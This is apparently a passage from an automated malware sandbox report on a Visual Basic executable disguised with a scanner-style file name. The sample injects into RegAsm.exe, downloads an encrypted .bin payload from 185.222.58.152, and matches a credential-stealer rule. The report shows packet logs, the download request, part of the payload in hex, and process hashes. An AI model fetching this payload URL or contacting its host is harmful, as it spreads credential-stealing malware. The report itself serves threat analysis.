          Feb 22, 2021 15:18:23.871300936 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.871324062 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.871339083 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.871368885 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.871401072 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.917999983 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.918077946 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.918142080 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.918162107 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.918201923 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.918204069 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.918262005 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.918268919 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.918320894 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.918323040 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.918366909 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.918392897 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.918406963 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.918437004 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.918438911 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.918500900 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.964941025 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965034008 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.965125084 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965145111 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965161085 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965177059 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.965183020 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965204954 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965220928 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965223074 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.965238094 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965255976 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965270042 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965282917 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965286016 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.965302944 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965315104 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.965323925 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965341091 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965358973 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.965361118 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965379953 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965396881 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.965415955 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:23.965428114 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:23.965451002 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:24.011744022 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.011780024 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.011790991 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.011991978 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:24.014591932 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014625072 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014642000 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014662027 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014687061 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014705896 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014730930 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014756918 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014779091 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014800072 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014818907 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014842033 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014864922 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014889002 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014914036 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014939070 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014961958 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014978886 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.014997005 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015012980 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015031099 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015048027 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015067101 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015083075 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015100002 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015115976 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015134096 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015150070 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015165091 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015181065 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015196085 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.015415907 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:24.058439016 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.058478117 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.058501959 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.058525085 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.058532000 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:24.058543921 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.058562994 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:24.058626890 CET4972680192.168.2.6185.222.58.152
          Feb 22, 2021 15:18:24.061870098 CET8049726185.222.58.152192.168.2.6
          Feb 22, 2021 15:18:24.061903954 CET8049726185.222.58.152192.168.2.6

          HTTP Request Dependency Graph

          • 185.222.58.152

          HTTP Packets

          Session IDSource IPSource PortDestination IPDestination PortProcess
          0192.168.2.649726185.222.58.15280C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          TimestampkBytes transferredDirectionData
          Feb 22, 2021 15:18:23.821649075 CET1119OUTGET /EDUORIGIN_baxLdLkc20.bin HTTP/1.1
          User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
          Host: 185.222.58.152
          Cache-Control: no-cache
          Feb 22, 2021 15:18:23.871231079 CET1120INHTTP/1.1 200 OK
          Content-Type: application/octet-stream
          Last-Modified: Mon, 22 Feb 2021 11:17:02 GMT
          Accept-Ranges: bytes
          ETag: "8df48f3ec9d71:0"
          Server: Microsoft-IIS/8.5
          Date: Mon, 22 Feb 2021 14:18:23 GMT
          Content-Length: 219200
          Data Raw: 16 85 f9 a9 43 ac 05 77 65 28 e1 36 60 ed a1 81 a8 24 f2 4a dd e8 88 5e 85 14 43 d8 8b 12 e1 e0 af 2f 32 f8 2b e1 8b de 9c fe 91 0b bc e0 6d 7c 04 63 57 7f 87 91 4a db 22 83 12 a6 5b cd 3c 83 6f 9c 1f 7b 95 89 34 27 6a cf eb bf ea de 22 4e 75 55 90 44 e6 00 cc 46 ca b6 61 51 77 ae cc c2 da 97 74 2b f5 f0 3c 06 71 f1 ed 7e a1 a0 d7 d8 3c 9e ba f2 9c b1 1f f6 a4 e5 5e 4e 65 83 26 ec e8 6b af 17 19 ef c1 d9 3c 6f 5a b7 62 1d 84 6e 0d 46 b1 1e ef 16 cb 97 06 f4 05 a4 23 c6 30 b3 36 1c af 61 21 62 39 29 54 e2 24 af c4 32 bb 27 7e 5e 70 4c 32 95 51 db 06 dd ed 5f 74 d4 32 c6 6f a6 dd 16 08 c5 25 dd c8 f9 04 0a 15 86 56 38 07 b3 a3 9a f5 1b b1 2e c1 9d 8f 16 64 f3 1a c8 de 84 94 6a 25 06 a1 df fc 1b 2c 09 b4 50 57 5a ee fa aa 5e d2 84 0c b2 07 e7 4b bf 22 45 3d 80 f8 10 52 6f d1 52 2d 14 42 1c 1a 81 26 5c 19 02 16 e2 8d c8 90 e0 cf 58 a0 7c c7 46 db 34 e6 f0 9a 09 3d 37 d8 bd e9 e5 8a b7 e2 6f 40 d1 9d 99 31 2e 21 56 72 5a d6 db a1 d7 71 66 31 ff de 9d ab ba 62 d9 46 5b b4 5c c3 c5 d1 76 de 7a 26 0d 91 4e 7b 98 9a f6 b6 25 3e 83 a5 5e a4 6c ed 8a 0b df 1f 81 75 24 91 7c ce 17 3b 2d f4 23 16 38 f7 cc 7d fb 33 e5 70 cb 30 d9 12 ca e8 6d 1d 08 89 53 18 0f 01 ed f9 d2 79 f2 c0 8d bb 6d c7 af 33 da a3 5a 9b fa 92 1c 6a 62 e7 bb af 31 1c 16 42 2a 1a 3c b2 fd 6f 4e 07 a3 3a 76 93 49 f7 3b d3 44 43 00 f2 46 d5 f1 7e 80 cc 22 8c d6 38 a5 f6 7b bb 43 aa a6 59 f9 64 e7 16 08 bc 18 0d e4 08 91 d2 c6 00 00 00 bd ae 40 ce 1b 19 8e b3 9e d6 43 24 71 06 85 83 a8 94 5b 9f 8c 11 45 e0 90 f3 2d 26 36 1f 4a 86 71 f4 d0 c7 ef 82 05 2f 9e ca 49 41 c6 bf 87 5a 60 f2 98 7c 8e a0 be 3a bd fb e7 ab af 56 0d ae f7 29 0d 5d 05 5c 31 86 a2 c3 f8 1b c3 0a cf f8 a5 3e a2 fc 28 c0 20 8f 0a f6 dc e5 b0 a9 5d 68 ad b6 61 6a 59 36 2b a8 fe 33 87 f9 be 8f 8c 0f f2 d7 70 52 3b 51 a8 8e e5 31 dc e4 51 c2 25 b8 7b ee 1f 69 3f cf 6f b5 4b 8d 0d 33 91 97 28 32 90 fa 98 cd 1a e6 cd 4c cb 32 ea a1 7d 6f d6 6c db 6a c0 a3 39 f8 06 c1 28 7c 88 b7 90 16 ab 89 df f1 62 3f 1c a2 85 c2 1d a8 62 d4 46 27 06 9f 94 f6 0e 52 98 93 ec f6 3d 8f fc f0 eb 9a 1c f4 3c 96 db 7d 18 30 d3 b8 bd 0f 3b df db 3e 7a 3d ee b6 2b 7e b6 8b 67 f5 4f ba 24 be 19 37 e9 a9 97 1b f2 a3 dc 83 55 94 5b 7a 20 05 2e 7b 21 ae 2d a6 d3 6e 8c 53 1e 87 e6 c4 27 6a fe 1c c1 c0 85 9d 1d f1 37 81 60 b7 af 60 ee 99 fe c8 ac a5 18 6f 58 56 12 d7 52 db 70 58 d1 2c 15 5c cd 47 53 96 56 49 db af 23 81 d3 fa 62 fc 70 eb 17 4f b8 03 61 6f a0 ba 89 c7 2d 48 36 88 af b5 63 2c 92 32 40 4e 2f 30 a2 86 18 c7 06 25 45 32 bc a8 11 c5 6c 7b a0 e4 f7 25 13 42 0c 30 c2 e8 c8 82 c5 dc 1c d2 5b fe 00 eb 21 a7 7a 91 77 35 da 86 02 33 23 ea 8d 6c 9d 89 33 3f 90 ce c7 bd 3e 23 09 ad b3 56 90 44 e2 6f c0 46 8a bc 4b 42 47 ac cc ee da 97 74 2f f5 f0 2d 10 7a da f6 7e a6 b7 29 d9 10 9c a2 f9 9c b6 09 08 a5 c9 5c 59 ee 83 21 f4 18 75 39 1b 32 59 e3 f7 63 d3 5b fb ab 53 dd 06 64 3f bb 7d ad 7b ac cb 67 99 25 c2 42 a8 4f ca 49 17 d6 04 06 07 b2 46 58 89 52 84 80 7a fe f9 12 1d 16 3e 17 98 5b c9 dc dc c1 5d 5f d6 19 25 3d e0 f5 07 44 c4 2c f5 0a 68 37 60 3f 86 56 2b 37 b1 a3 b2 15 1b b3 29 ca 9c 95 00 6f 96 02 c8 d9 9b 6a 6b 09 04 b9 d4 52 71 39 f7 b5 5c 55 4d e5 fa ad 46 2c 85 60 b0 2c c5 60 5c 20 6f 2e 80 fc 1a 78 7c e1 50 2d 38 46 1c 1a 86 26 5c 08 14 1d 09 95 c8 97 f5 31 59 8c 7e df 4d d9 33 b0 8b 9b 25 2f 20 d3 ad ee fd 74 b6 de 6d 6b c3 b6 7a e1
          Data Ascii: Cwe(6`$J^C/2+m|cWJ"[<o{4'j"NuUDFaQwt+<q~<^Ne&k<oZbnF#06a!b9)T$2'~^pL2Q_t2o%V8.dj%,PWZ^K"E=RoR-B&\X|F4=7o@1.!VrZqf1bF[\vz&N{%>^lu$|;-#8}3p0mSym3Zjb1B*<oN:vI;DCF~"8{CYd@C$q[E-&6Jq/IAZ`|:V)]\1>( ]hajY6+3pR;Q1Q%{i?oK3(2L2}olj9(|b?bF'R=<}0;>z=+~gO$7U[z .{!-nS'j7``oXVRpX,\GSVI#bpOao-H6c,2@N/0%E2l{%B0[!zw53#l3?>#VDoFKBGt/-z~)\Y!u92Yc[Sd?}{g%BOIFXRz>[]_%=D,h7`?V+7)ojkRq9\UMF,`,`\ o.x|P-8F&\1Y~M3%/ tmkz


          Code Manipulations

          Statistics

          Behavior

          Click to jump to process

          System Behavior

          General

          Start time:15:17:58
          Start date:22/02/2021
          Path:C:\Users\user\Desktop\SKM_C3350191107102300.exe
          Wow64 process (32bit):true
          Commandline:'C:\Users\user\Desktop\SKM_C3350191107102300.exe'
          Imagebase:0x400000
          File size:61440 bytes
          MD5 hash:58BB0368BC9CF6EC86C266F54CDEFEEB
          Has elevated privileges:true
          Has administrator privileges:true
          Programmed in:Visual Basic
          Reputation:low

          General

          Start time:15:18:09
          Start date:22/02/2021
          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          Wow64 process (32bit):true
          Commandline:'C:\Users\user\Desktop\SKM_C3350191107102300.exe'
          Imagebase:0xe60000
          File size:64616 bytes
          MD5 hash:6FD7592411112729BF6B1F2F6C34899F
          Has elevated privileges:true
          Has administrator privileges:true
          Programmed in:.Net C# or VB.NET
          Yara matches:
          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmp, Author: Joe Security
          Reputation:high

          General

          Start time:15:18:09
          Start date:22/02/2021
          Path:C:\Windows\System32\conhost.exe
          Wow64 process (32bit):false
          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Imagebase:0x7ff61de10000
          File size:625664 bytes
          MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
          Has elevated privileges:true
          Has administrator privileges:true
          Programmed in:C, C++ or other language
          Reputation:high

          Disassembly

          Code Analysis

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